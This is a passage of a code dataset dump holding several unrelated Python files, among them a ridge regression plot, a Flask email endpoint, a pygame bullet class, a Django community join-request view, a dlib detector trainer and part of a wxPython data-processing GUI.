PolynomialFeatures\nfrom sklearn.linear_model import Ridge\nfrom matplotlib import pyplot as plt\n\nX=10*np.random.rand(100,1)-5\nY=1+2*X+3*X**2+2*np.random.randn(100,1)\nplt.plot(X,Y,'b.')\nd={1:'g.',2:'r.',10:'y.'}\nfor i in d:\n poly_features=PolynomialFeatures(degree=i,include_bias=False)\n X_poly=poly_features.fit_transform(X)\n ridge_model=Ridge(alpha=1,solver='sag')\n ridge_model.fit(X_poly,Y)\n Y_b=ridge_model.predict(X_poly)\n plt.plot(X,Y_b,d[i])\nplt.show()","sub_path":"polynomial_regression.py","file_name":"polynomial_regression.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"359446413","text":"##\n#\n# nwpsTrkngCG0AFG - Joe Maloney 2016-07-08\n#\n# Smart Init for nwpsTrkngCG0AFG model.\n#\n##\n\nfrom Init import *\nfrom nwpsTrkngCG0 import *\n\n##--------------------------------------------------------------------------\n## Module that calculates surface weather elements from nwpsTrkngCG0 model\n## output.\n##--------------------------------------------------------------------------\nclass nwpsTrkngCG0AFGForecaster(nwpsTrkngCG0Forecaster):\n def __init__(self):\n nwpsTrkngCG0Forecaster.__init__(self, \"nwpsTrkngCG0AFG\", \"nwpsTrkngCG0AFG\")\n\ndef main():\n forecaster = nwpsTrkngCG0AFGForecaster()\n forecaster.run()\n forecaster.notifyGFE('AFG')\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"edexOsgi/com.raytheon.edex.plugin.gfe/utility/edex_static/base/smartinit/nwpsTrkngCG0AFG.py","file_name":"nwpsTrkngCG0AFG.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"31524167","text":"from __future__ import division\r\nfrom flask import Flask, jsonify, request\r\nfrom python_test.aap.service.implementations.main_services import *\r\nfrom flask.ext.cache import Cache\r\n\r\n__author__ = \"Aravind\"\r\n\r\napp = Flask(__name__)\r\n\r\n# Check Configuring Flask-Cache section for more details\r\ncache = Cache(app,config={'CACHE_TYPE': 'simple'})\r\n\r\n\r\n@app.errorhandler(404)\r\ndef not_found():\r\n message = {\r\n 'status': 404,\r\n 'message': 'Not Found: ' + request.url,\r\n }\r\n resp = jsonify(message)\r\n resp.status_code = 404\r\n return resp\r\n\r\n\r\n# For email address details for GET method\r\n@app.route('/message', methods=[\"GET\", \"POST\"])\r\ndef api_get_email():\r\n\r\n result = get_email_details_service(cache)\r\n if len(result):\r\n return jsonify(result)\r\n elif len(result) == 0:\r\n return not_found()\r\n else:\r\n return email_notification()\r\n\r\n\r\n\r\n\r\n#Main Function\r\nif __name__ == '__main__':\r\n app.run(host=\"localhost\", port=3000)","sub_path":"python_test/aap/service/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"627206218","text":"import pygame\nfrom pygame.sprite import Sprite\n\nclass Bullet(Sprite):\n\n def __init__(self, ai_settings, screen, ship):\n #Create a bullet object at ship's current position\n super().__init__()\n self.screen = screen\n\n #Create a bullet rect at (0,0) and then set the correct position\n #Since there is no bullet image, we create it from scratch using 'Rect' class and initialize it to (0,0)\n self.rect = pygame.Rect(0, 0, ai_settings.bullet_width, ai_settings.bullet_height)\n\n #Next two lines positions the bullet in the correct location (the ships position). Since the bullet depends\n #on the ship, we use the 'Sprite' class\n self.rect.centerx = ship.rect.centerx\n self.rect.top = ship.rect.top\n\n #Store the bullet's position as a decimal value\n self.y = float(self.rect.y)\n\n self.color = ai_settings.bullet_color\n self.speed_factor = ai_settings.bullet_speed_factor\n\n def update(self):\n #Move the bullet up the screen\n\n #Update decimal value of bullet\n self.y -= self.speed_factor\n\n #Update the rect position\n self.rect.y = self.y\n\n def draw_bullet(self):\n #Draw bullet to the screen\n pygame.draw.rect(self.screen, self.color, self.rect)\n\n","sub_path":"bullet.py","file_name":"bullet.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"50567105","text":"# TUPLAS\n# parecido a un lista pero no se puede modificar\n# consumen menos memoria\n\ntupla = (4, \"Hola\", 6.78, [1,2,3], 4)\nlista = list(tupla) # convierte una tupla en lista\nprint(len(tupla[3]))\n\nlista = [4, \"Hola\", 6.78, [1,2,3], 4]\ntupla = tuple(lista) # convierte una lista en tupla \n\nprint(lista)","sub_path":"03-Colecciones/Tuplas.py","file_name":"Tuplas.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"156627727","text":"import time\nimport board\nfrom digitalio import DigitalInOut, Direction, Pull\nfrom lcd.lcd import LCD\nfrom lcd.i2c_pcf8574_interface import I2CPCF8574Interface\nfrom lcd.lcd import CursorMode\n\nlcd = LCD(I2CPCF8574Interface(0x27), num_rows=2, num_cols=16)\nbutton = DigitalInOut(board.D2) #make button pin\nbutton.direction = Direction.INPUT \nbutton.pull = Pull.UP #give power to button\nswitch = DigitalInOut(board.D5) #make switch pin\nswitch.direction = Direction.INPUT\nswitch.pull = Pull.UP #give power to switch\nlcd.set_cursor_mode(CursorMode.LINE)\n\npress = False #press starts at false until proven otherwise\nx = 0 #starts at 0\n\nwhile True:\n print(button.value)\n lcd.backlight = True #backlight is on\n if not button.value:\n if (press == False):\n press = True #if press does not equal false then press equals true\n if not switch.value:\n x = x -1 #if it does not equal switch value then it goes down by one\n if switch.value:\n x = x +1 #if it does equal switch value then it goes up by one\n print((0,))\n if button.value:\n press = False #these print and display when it is false, which it is set to\n lcd.set_cursor_pos(0, 0) #sets cursor to start of LCD screen in the first row (0,0)\n lcd.print(\"Presses: \")\n lcd.set_cursor_pos(0, 10) #sets cursor to the end of LCD screen in the first row (0,10)\n lcd.print ( str (x))\n lcd.print (\" \")\n lcd.set_cursor_pos(1, 0) #sets cursor to the start of LCD screen in the second row (1,0)\n lcd.print (\"Switch: \")\n if not switch.value:\n lcd.print (\"DOWN\")\n if switch.value:\n lcd.print (\"UP \") #when switch is on value goes up, when it is off then value goes down\n time.sleep(0.05)\n","sub_path":"Led_button_switch.py","file_name":"Led_button_switch.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"564487274","text":"class Dragon(object):\n def __init__(self,name,lvl):\n self.name=name\n self.lvl=lvl\n self.mounter=[]\n self.trainer=[]\n def fly(self):\n if self.mounter==[]:\n return \"{} does not have a rider\".format(self.name)\n else:\n return \"{} flies around with {}\".format(self.name,self.mounter.name)\n def get_trainers(self):\n name_list=()\n for trainer in self.trainer:\n name_list+=(trainer.name,)\n return name_list \nclass Trainer(object):\n def __init__(self,name,lvl):\n self.name=name\n self.lvl=lvl\n self.dragons=[]\n self.mounted=[]\n self.train_progress={}\n def train(self,dragon):\n if dragon in self.dragons:\n return \"{} has already been trained\".format(dragon.name)\n elif dragon.lvl<=self.lvl:\n self.dragons.append(dragon)\n dragon.trainer.append(self)\n return \"{} successfully trained {}\".format(self.name,dragon.name)\n else:\n progress=self.train_progress.get(dragon,dragon.lvl-self.lvl+1)\n progress-=1\n self.train_progress[dragon]=progress\n if progress==0:\n self.dragons.append(dragon)\n dragon.trainer.append(self)\n return \"{} successfully trained {}\".format(self.name,dragon.name)\n else:\n return \"{} failed to train {}\".format(self.name,dragon.name)\n def trained_dragons(self):\n name_list=()\n for dragon in self.dragons:\n name_list+=(dragon.name,)\n return name_list\n def mount(self,dragon):\n if self.mounted!=[]:\n return \"{} is currently mounted on {}\".format(self.name,self.mounted.name)\n elif dragon.mounter!=[]:\n return \"{} is currently mounted on {}\".format(dragon.mounter.name,dragon.name)\n else:\n if dragon not in self.dragons:\n return \"{} has not yet trained {}\".format(self.name,dragon.name)\n else:\n self.mounted=dragon\n dragon.mounter=self\n return \"{} mounts {}\".format(self.name,dragon.name)\n def dismount(self):\n if self.mounted==[]:\n return \"{} is not mounted\".format(self.name)\n else:\n name1=self.mounted.name\n self.mounted.mounter=[]\n self.mounted=[]\n return \"{} dismounts from {}\".format(self.name,name1)\ntoothless = Dragon(\"Toothless\", 7)\nmeatlug = Dragon(\"Meatlug\", 1)\nstormfly = Dragon(\"Stormfly\", 5)\n\nhiccup = Trainer(\"Hiccup\", 4)\nastrid = Trainer(\"Astrid\", 5)\n\nprint(astrid.train(stormfly) == 'Astrid successfully trained Stormfly')\nprint(astrid.mount(stormfly) == 'Astrid mounts Stormfly')\nprint(stormfly.fly() == 'Stormfly flies around with Astrid')\n\nprint(meatlug.fly() == 'Meatlug does not have a rider')\nprint(hiccup.mount(meatlug) == 'Hiccup has not yet trained Meatlug')\nprint(hiccup.train(meatlug) == 'Hiccup successfully trained Meatlug')\nprint(hiccup.train(meatlug) == 'Meatlug has already been trained')\nprint(hiccup.mount(meatlug) == 'Hiccup mounts Meatlug')\nprint(meatlug.fly() == 'Meatlug flies around with Hiccup')\n \nprint(hiccup.mount(stormfly) == 'Hiccup is currently mounted on Meatlug')\nprint(hiccup.dismount() == 'Hiccup dismounts from Meatlug')\nprint(hiccup.mount(stormfly) == 'Astrid is currently mounted on Stormfly')\nprint(astrid.dismount() == 'Astrid dismounts from Stormfly')\nprint(hiccup.mount(stormfly) == 'Hiccup has not yet trained Stormfly')\nprint(1)\nprint(astrid.trained_dragons() == ('Stormfly',))\nprint(hiccup.trained_dragons() == ('Meatlug',))\nprint(stormfly.get_trainers() == ('Astrid',))\nprint(hiccup.train(stormfly) == 'Hiccup failed to train Stormfly')\nprint(hiccup.train(stormfly) == 'Hiccup successfully trained Stormfly')\nprint(sorted(stormfly.get_trainers()) == sorted(('Astrid', 'Hiccup')))\n\nprint(hiccup.train(toothless) == 'Hiccup failed to train Toothless')\nprint(hiccup.train(toothless) == 'Hiccup failed to train Toothless')\nprint(hiccup.train(toothless) == 'Hiccup failed to train Toothless')\nprint(hiccup.train(toothless) == 'Hiccup successfully trained Toothless')\nprint(hiccup.mount(toothless) == 'Hiccup mounts Toothless')\nprint(toothless.fly() == 'Toothless flies around with Hiccup')\nprint(sorted(hiccup.trained_dragons()) == sorted(('Meatlug', 'Stormfly', 'Toothless')))\n","sub_path":"PE/Anagrams hard Q4/dragons.py","file_name":"dragons.py","file_ext":"py","file_size_in_byte":4412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"162711362","text":"# -*- coding: utf-8 -*-\nimport unittest\nfrom bs4 import BeautifulSoup\nfrom nose.tools import istest\nfrom .sources import emusic as sources\nfrom ....parser.emusicparser import EmusicParser as Parser\n\n\nclass HipersonicaParserTest(unittest.TestCase):\n\n def setUp(self):\n self.document = BeautifulSoup(sources.REVIEW_ALBUM_HTML)\n self.parser = Parser(self.document)\n\n @istest\n def returns_valid_reviews_list_from_reviews_list(self):\n reviews = Parser.fetch_url_reviews(sources.REVIEWS_LIST_HTML)\n expected = [\n u'http://www.emusic.com/music-news/review/album/slava-raw-sol' +\n 'utions-2/',\n u'http://www.emusic.com/music-news/review/album/the-haxan-' +\n 'cloak-excavation/',\n u'http://www.emusic.com/music-news/review/album/major-lazer' +\n '-free-the-universe-2/',\n u'http://www.emusic.com/music-news/review/album/the-knife-' +\n 'shaking-the-habitual-2/',\n u'http://www.emusic.com/music-news/review/album/bonobo-the-' +\n 'north-borders/',\n u'http://www.emusic.com/music-news/review/album/brandt-brauer' +\n '-frick-miami/',\n u'http://www.emusic.com/music-news/review/album/john-foxx-and' +\n '-the-maths-evidence/',\n u'http://www.emusic.com/music-news/review/album/autechre-exai-2/',\n u'http://www.emusic.com/music-news/review/album/youth-lagoon-' +\n 'wondrous-bughouse-2/',\n u'http://www.emusic.com/music-news/review/album/young-dreams' +\n '-between-places-2/',\n u'http://www.emusic.com/music-news/review/album/sally-shapiro' +\n '-somewhere-else/',\n u'http://www.emusic.com/music-news/review/album/autre-ne-veut' +\n '-anxiety-2/',\n u'http://www.emusic.com/music-news/review/album/maxmillion-' +\n 'dunbar-house-of-woo/',\n u'http://www.emusic.com/music-news/review/album/flume-flume-2/',\n u'http://www.emusic.com/music-news/review/album/darkstar-news' +\n '-from-nowhere/',\n u'http://www.emusic.com/music-news/review/album/various-' +\n 'artists-stones-throw-records-stones-throw-and-' +\n 'leaving-records-present-dual-form/',\n u'http://www.emusic.com/music-news/review/album/faltydl-' +\n 'hardcourage/',\n u'http://www.emusic.com/music-news/review/album/nosaj-thing-' +\n 'home-2/',\n u'http://www.emusic.com/music-news/review/album/propaganda-a-' +\n 'secret-wish/',\n u'http://www.emusic.com/music-news/review/album/public-' +\n 'service-broadcasting-the-war-room-ep/',\n u'http://www.emusic.com/music-news/review/album/hundred-' +\n 'waters-hundred-waters/',\n u'http://www.emusic.com/music-news/review/album/actress-r-i-p/',\n u'http://www.emusic.com/music-news/review/album/maria-' +\n 'minerva-will-happiness-find-me/',\n u'http://www.emusic.com/music-news/review/album/mala-mala-in-cuba/'\n ]\n self.assertEquals(expected, reviews)\n\n @istest\n def returns_valid_information_for_flyinglotus_untilthequietcomes(self):\n information = Parser.get_review_info(\n sources.REVIEW_ALBUM_HTML)\n expected = {\n \"artist\": u\"Flying Lotus\",\n \"album\": u\"Until the Quiet Comes\",\n \"rating\": 3.5,\n \"rating_max\": 5,\n }\n self.assertDictContainsSubset(expected, information)\n\n @istest\n def returns_valid_review_body_of_flyinglotus_untilthequietcomes(self):\n body_review = self.parser._get_body_review()\n\n result_partly_expected = u\"What was Flying Lotus supposed to do, \" +\\\n u\"twist our synapses till they turned blue every \" +\\\n u\"single time out? Please \"\n\n self.assertTrue(result_partly_expected in body_review)\n\n @istest\n def returns_true_for_recommended_album_flyinglotus_untilthequietcomes(\n self):\n self.assertTrue(self.parser._get_if_review_is_recommended())\n","sub_path":"website/app/tests/unit/parser/test_emusicparser.py","file_name":"test_emusicparser.py","file_ext":"py","file_size_in_byte":4137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"100687012","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nwith open(\"requirements.txt\", \"r\") as req:\n requires = req.read().strip().split('\\n')\n\nsetuptools.setup(\n name=\"betfair_python_rest\",\n version=\"0.13\",\n author=\"Anton Igin\",\n author_email=\"antonigin1995@gmail.com\",\n description=\"Python package of REST API managers (Betting and Accounts APIs)\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url='https://github.com/Sibiryakanton/betfair_python_rest',\n packages=setuptools.find_packages(),\n install_requires=requires,\n classifiers=[\n \"Programming Language :: Python :: 3\",\n ],\n python_requires='>=3.6',\n project_urls={\n 'Source': 'https://github.com/Sibiryakanton/betfair_python_rest',\n },\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"500919522","text":"#!/usr/bin/env python\nimport website.bigfoot.models as models\nfrom django.http import HttpResponse, HttpResponseRedirect\nimport string, urllib\nfrom website.bigfoot.utils import siteaction, config, dataplus, mailman\n\ndef handle(request):\n req_id = dataplus.dictGetVal(request.REQUEST, 'reqId', '0', string.atoi)\n myself = siteaction.getLoggedInUser(request)\n if not myself:\n return HttpResponseRedirect('/login.htm?' + urllib.urlencode(\n {'returnUrl':'/me/approvecommjoinreq.htm?reqId=' + str(req_id)}))\n \n join_req = dataplus.returnIfExists(models.CommunityJoinRequest.objects.filter(id=req_id))\n if not join_req:\n return siteaction.render_to_response('me/showmessage.htm',\n { 'myself':myself, 'msg_heading':'Request not found',\n 'msg_html':'The community join request does not exist. It must have already been processed.'})\n \n if join_req.community.owner_username != myself.username:\n return siteaction.render_to_response('me/showmessage.htm',\n { 'myself':myself, 'msg_heading':'Error', 'msg_html':'Access denied.' })\n \n if request.method == 'GET':\n return siteaction.render_to_response('me/approvecommjoinreq.htm',\n {'myself':myself,\n 'join_req':join_req})\n \n elif request.method == 'POST':\n allowed = False\n if dataplus.dictGetVal(request.REQUEST,'result') == 'allow':\n join_req.sent_by.communities.add(join_req.community)\n allowed = True\n flashId = 'comm_join_allowed'\n else:\n flashId = 'comm_join_denied'\n join_req.delete()\n \n approved_text = ('denied','approved')[allowed]\n subject = 'Re: Request to join ' + join_req.community.name\n html_message = '

Your request to join \\'' + join_req.community.name + '\\' was ' + \\\n approved_text + ' by the administrator.

Regards,
from Socialray

'\n text_message = 'Your request to join \\'' + join_req.community.name + '\\' was ' + \\\n approved_text + ' by the administrator.\\r\\n\\r\\nRegards,\\r\\n from Socialray\\r\\n\\r\\n'\n def internalSender(rcvr_accounts):\n mailman.sendToInbox(myself.username, rcvr_accounts[0].username, subject, html_message)\n \n def externalSender(rcvr_accounts):\n sender = '\"' + myself.name + '\" <' + myself.username + '-profile@socialray.org>'\n receivers = ['\"' + rcvr.name + '\" <' + rcvr.email + '>' for rcvr in rcvr_accounts]\n mailman.sendOneWayMail(sender, receivers, subject, html_message, None, None, text_message)\n \n mailman.sendBySettings([join_req.sent_by.account], internalSender, externalSender, 'SocialrayAlert')\n \n return HttpResponseRedirect('/me?flashId=' + flashId)","sub_path":"website/bigfoot/views/me_approvecommjoinreq.py","file_name":"me_approvecommjoinreq.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"653086522","text":"\"\"\"\nProgram Name: Programming Problems Q18\nProgrammer: Hyun Wook Kim\nDate: 2018.07.01\nDescription:\n콤마로 구분된 여러 문자열을 입력 받아\na-z 사이의 1단어, 0-9사이의 1 숫자, A-Z 사이의 한 단어\n$#@중 한 문자, 최소 6자리, 최대 12자리의 조건을\n모두 만족시키는 비밀번호만을 출력하라\n\"\"\"\n\nif __name__ == '__main__':\n ip = input().split(\",\")\n ol = list()\n\n for i in range(ip.__len__()):\n u_flag = 0\n l_flag = 0\n d_flag = 0\n s_flag = 0\n if 6 <= ip[i].__len__() <= 12:\n for j in range(ip[i].__len__()):\n if ip[i].__getitem__(j).isupper():\n u_flag += 1\n elif ip[i].__getitem__(j).islower():\n l_flag += 1\n elif ip[i].__getitem__(j).isdecimal():\n d_flag += 1\n elif ip[i].__getitem__(j).__eq__('@'):\n s_flag += 1\n elif ip[i].__getitem__(j).__eq__('#'):\n s_flag += 1\n elif ip[i].__getitem__(j).__eq__('$'):\n s_flag += 1\n\n if s_flag > 0 and d_flag > 0 and u_flag > 0 and l_flag > 0:\n ol.append(ip[i])\n\n print(ol)\n","sub_path":"Taco101_Python/ProgrammingProblems/Q18.py","file_name":"Q18.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"48995793","text":"from PIL import Image\nimport glob\nimport dlib\nimport cv2\nimport numpy as np\nimport sys\n\nimage_list = []\nboxes = []\n\ndef getImages():\n\t[image_list.append(cv2.cvtColor(cv2.imread(item),cv2.COLOR_BGR2RGB)) for i in [glob.glob('img/*.%s' % ext) for ext in [\"jpg\",\"png\"]] for item in i]\n\ndef getBox():\n\tfor image in image_list:\n\t\tr = cv2.selectROI(image, False)\n\t\tprint(r)\n\t\t(x,y,xb,yb) = [r[0],r[1],r[0] + r[2], r[1] + r[3]]\n\t\tboxes.append([dlib.rectangle(left=int(x),top=int(y),right=int(xb),bottom=int(yb))])\n\tprint(boxes)\n\ndef generate():\n\toptions = dlib.simple_object_detector_training_options()\n\toptions.add_left_right_image_flips = True\n\toptions.num_threads = 3\n\tdetector = dlib.train_simple_object_detector(image_list, boxes, options)\n\tdetector.save(\"detector/\" + sys.argv[1])\n\t\n\ndef test():\n\tdetector = dlib.simple_object_detector(\"detector/\" + sys.argv[1])\n\ttestList = []\n\t[testList.append(cv2.cvtColor(cv2.imread(item),cv2.COLOR_BGR2RGB)) for i in [glob.glob('testImg/*.%s' % ext) for ext in [\"jpg\",\"png\"]] for item in i]\n\tfor image in testList:\n\t\tdetectedBoxes = detector(image)\n\t\tprint(detectedBoxes)\n\t\tfinalBoxes = []\n\t\tfor detectedBox in detectedBoxes:\n\t\t\t(x,y,xb,yb) = [detectedBox.left(),detectedBox.top(),detectedBox.right(),detectedBox.bottom()]\n\t\t\tfinalBoxes.append((x,y,xb, yb))\n\t\timage = cv2.cvtColor(image,cv2.COLOR_RGB2BGR)\n\t\tfor finalBox in finalBoxes:\n\t\t\t(x,y,xb,yb) = finalBox\n\t\t\tcv2.rectangle(image,(x,y),(xb,yb),(0,0,255),2)\n\t\tcv2.imshow(\"Detected\",image)\n\t\tcv2.waitKey(0)\n\n\ngetImages()\ngetBox()\ngenerate()\ntest()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"381323243","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\npython modules for data processing utilities:\n dataworkshop: main GUI framework for data post-processing\n\nAuthor: Tong Zhang\nCreated: Sep. 23rd, 2015\n\"\"\"\nfrom __future__ import print_function\n\nimport wx\nimport time\nimport threading\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport h5py\nimport os\nimport shutil\n\nfrom . import funutils\nfrom . import pltutils\nfrom . import imageutils\nfrom . import resutils\n\n\nclass DataWorkshop(wx.Frame):\n def __init__(self,\n parent,\n config='config.xml',\n size=(1000, 750),\n appversion='1.0',\n **kwargs):\n super(self.__class__, self).__init__(\n parent=parent, size=size, id=wx.ID_ANY, **kwargs\n ) #style = wx.DEFAULT_FRAME_STYLE & ~(wx.RESIZE_BORDER | wx.MAXIMIZE_BOX)\n self.parent = parent\n self.appversion = appversion\n\n self.Bind(wx.EVT_CLOSE, self.onExit)\n\n # initialize UI\n self.initUI()\n\n # timer\n self.timernow = wx.Timer(self)\n self.Bind(wx.EVT_TIMER, self.onTickTime, self.timernow)\n self.timernow.Start(1000)\n\n def onTickTime(self, event):\n fmt = '%Y-%m-%d %H:%M:%S %Z'\n self.timenow_st.SetLabel(time.strftime(fmt, time.localtime()))\n\n def initUI(self):\n self.preInit()\n self.createMenubar()\n self.createPanel()\n self.createStatusbar()\n self.createToolbar()\n self.postInit()\n\n def createMenubar(self):\n self.menubar = wx.MenuBar()\n\n ## File menu\n fileMenu = wx.Menu()\n openItem = fileMenu.Append(wx.ID_OPEN, '&Open files\\tCtrl+O',\n 'Open file to view')\n addItem = fileMenu.Append(wx.ID_ADD, '&Add files\\tCtrl+A',\n 'Add file to view')\n #saveItem = fileMenu.Append(wx.ID_SAVE, '&Save\\tCtrl+S', 'Save')\n fileMenu.AppendSeparator()\n self.addItem = addItem\n addItem.Enable(False)\n exitItem = fileMenu.Append(wx.ID_EXIT, 'E&xit\\tCtrl+W',\n 'Exit application')\n self.Bind(wx.EVT_MENU, self.onOpen, openItem)\n self.Bind(wx.EVT_MENU, self.onAdd, addItem)\n #self.Bind(wx.EVT_MENU, self.onSave, saveItem)\n self.Bind(wx.EVT_MENU, self.onExit, exitItem)\n\n ## Configurations menu\n #configMenu = wx.Menu()\n #loadConfigItem = configMenu.Append(wx.ID_ANY, 'Load from file\\tCtrl+Shift+L', 'Loading configurations from file')\n #saveConfigItem = configMenu.Append(wx.ID_ANY, 'Save to file\\tCtrl+Shift+S', 'Saving configurations to file')\n #appsConfigItem = configMenu.Append(wx.ID_ANY, 'Preferences\\tCtrl+Shift+I', 'Preferences for application')\n #self.Bind(wx.EVT_MENU, self.onConfigLoad, id = loadConfigItem.GetId())\n #self.Bind(wx.EVT_MENU, self.onConfigSave, id = saveConfigItem.GetId())\n #self.Bind(wx.EVT_MENU, self.onConfigApps, id = appsConfigItem.GetId())\n\n ## Help menu\n helpMenu = wx.Menu()\n aboutItem = helpMenu.Append(wx.ID_ABOUT, '&About\\tF1',\n 'Show about information')\n self.Bind(wx.EVT_MENU, self.onAbout, id=wx.ID_ABOUT)\n\n ## make menu\n self.menubar.Append(fileMenu, '&File')\n #self.menubar.Append(configMenu, '&Configurations')\n self.menubar.Append(helpMenu, '&Help')\n\n ## set menu\n self.SetMenuBar(self.menubar)\n\n self.Bind(wx.EVT_MENU_HIGHLIGHT, self.onMenuHL)\n\n def onMenuHL(self, event):\n try:\n hltext = event.GetEventObject().GetHelpString(event.GetMenuId())\n self.statusbar.appinfo.SetLabel(hltext)\n except:\n pass\n\n def onAbout(self, event):\n try:\n from wx.lib.wordwrap import wordwrap\n except:\n dial = wx.MessageDialog(\n self,\n message=u\"Cannot show about information, sorry!\",\n caption=u\"Unknow Error\",\n style=wx.OK | wx.CANCEL | wx.ICON_ERROR | wx.CENTRE)\n if dial.ShowModal() == wx.ID_OK:\n dial.Destroy()\n info = wx.adv.AboutDialogInfo()\n info.Name = \"DataWorkshop\"\n info.Version = self.appversion\n info.Copyright = \"(C) 2014-2015 Tong Zhang, SINAP, CAS\"\n info.Description = wordwrap(\n \"This application is created for data post-processing.\\n\"\n \"It is designed by Python language, using GUI module of wxPython.\",\n 350, wx.ClientDC(self))\n info.WebSite = (\n \"\", \"Cornalyzer home page\") # fill it when webpage is ready\n info.Developers = [\"Tong Zhang \"]\n licenseText = \"DataWorkshop is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\\n\" + \"\\nDataWorkshop is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\\n\" + \"\\nYou should have received a copy of the GNU General Public License along with DataWorkshop; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\"\n info.License = wordwrap(licenseText, 500, wx.ClientDC(self))\n wx.adv.AboutBox(info)\n\n def preInit(self):\n self.fontsize_button = 12\n self.fontsize_statictext = 12\n self.fontsize_staticbox = 10\n self.fontsize_textctrl = 12\n self.backcolor_panel = '#DDDDDD'\n self.fontcolor_staticbox = '#4B4B4B'\n self.bordersize = 12\n self._working_dir = os.path.join('/tmp',\n '_dw_' + funutils.get_randstr(6))\n if not os.path.exists(self._working_dir):\n os.mkdir(self._working_dir)\n\n def postInit(self):\n self.ws_panel.set_data(self.imggrid.get_workspace())\n self.image_list = None\n self.fdata_list = None\n\n def onConfigLoad(self, event):\n pass\n\n def onConfigSave(self, event):\n pass\n\n def onConfigApps(self, event):\n pass\n\n def onOpen(self, event):\n \"\"\"\n select data files to be visulized in imagegrid panel\n Tasks:\n - clear two attributes: image_list and fdata_list\n - clear image grid panel to be ready for new data and image files\n \n fdata_list: put loaded data files via open operation\n image_list: put generated image files from fdata_list\n \"\"\"\n datafiles = funutils.getFileToLoad(\n self, ext=['hdf5', 'dat', 'asc'], flag='multi')\n if datafiles is not None:\n self.image_list = [] # initialize image_list\n self.fdata_list = [] # initialize fdata_list\n self.imggrid.onClear()\n self.vizData(datafiles)\n self.addItem.Enable(True)\n else:\n return\n\n def onAdd(self, event):\n \"\"\" Add datafiles\n \"\"\"\n new_datafiles = funutils.getFileToLoad(\n self, ext=['hdf5', 'dat', 'asc'], flag='multi')\n if new_datafiles is not None:\n self.vizData(new_datafiles)\n\n def onSave(self, event):\n pass\n\n def onExit(self, event):\n self.exitApp()\n\n def exitApp(self):\n dial = wx.MessageDialog(\n self,\n message=\"Are you sure to exit this application?\",\n caption='Exit Warning',\n style=wx.YES_NO | wx.NO_DEFAULT | wx.CENTRE | wx.ICON_QUESTION)\n if dial.ShowModal() == wx.ID_YES:\n self._clean_data()\n self.Destroy()\n\n def _clean_data(self):\n if os.path.exists(self._working_dir):\n shutil.rmtree(self._working_dir)\n\n def createStatusbar(self):\n self.statusbar = funutils.ESB.EnhancedStatusBar(self)\n self.statusbar.SetFieldsCount(5)\n self.SetStatusBar(self.statusbar)\n self.statusbar.SetStatusWidths([-3, -1, -3, -2, -1])\n\n self.statusbar.appinfo = wx.StaticText(\n self.statusbar,\n id=wx.ID_ANY,\n label=u\"DataWorkshop powered by Python\")\n self.timenow_st = wx.StaticText(\n self.statusbar, id=wx.ID_ANY, label=u\"2015-06-05 14:00:00 CST\")\n appversion = wx.StaticText(\n self.statusbar,\n id=wx.ID_ANY,\n label=u\"(Version: \" + self.appversion + \")\")\n self.info_st = funutils.MyStaticText(\n self.statusbar, label=u'Status: ', fontcolor='grey')\n self.info = funutils.MyStaticText(\n self.statusbar,\n label=u'', )\n\n self.statusbar.AddWidget(self.statusbar.appinfo,\n funutils.ESB.ESB_ALIGN_LEFT)\n self.statusbar.AddWidget(self.info_st, funutils.ESB.ESB_ALIGN_RIGHT)\n self.statusbar.AddWidget(self.info, funutils.ESB.ESB_ALIGN_LEFT)\n self.statusbar.AddWidget(self.timenow_st, funutils.ESB.ESB_ALIGN_LEFT)\n self.statusbar.AddWidget(appversion, funutils.ESB.ESB_ALIGN_RIGHT)\n\n def createToolbar(self):\n pass\n\n def createPanel(self):\n # make background panel\n self.panel = funutils.createwxPanel(self, funutils.hex2rgb('#B1B1B1'))\n\n # layout\n sizer_l = wx.BoxSizer(wx.HORIZONTAL) # put panel_l wrapped sbsizer\n sizer_r = wx.BoxSizer(wx.HORIZONTAL) # put panel_r wrapped sbsizer\n\n # left and right panels\n self.panel_l = funutils.createwxPanel(\n self.panel, funutils.hex2rgb(self.backcolor_panel))\n self.panel_r = funutils.createwxPanel(\n self.panel, funutils.hex2rgb(self.backcolor_panel))\n\n ## --------hbox-------\n ## 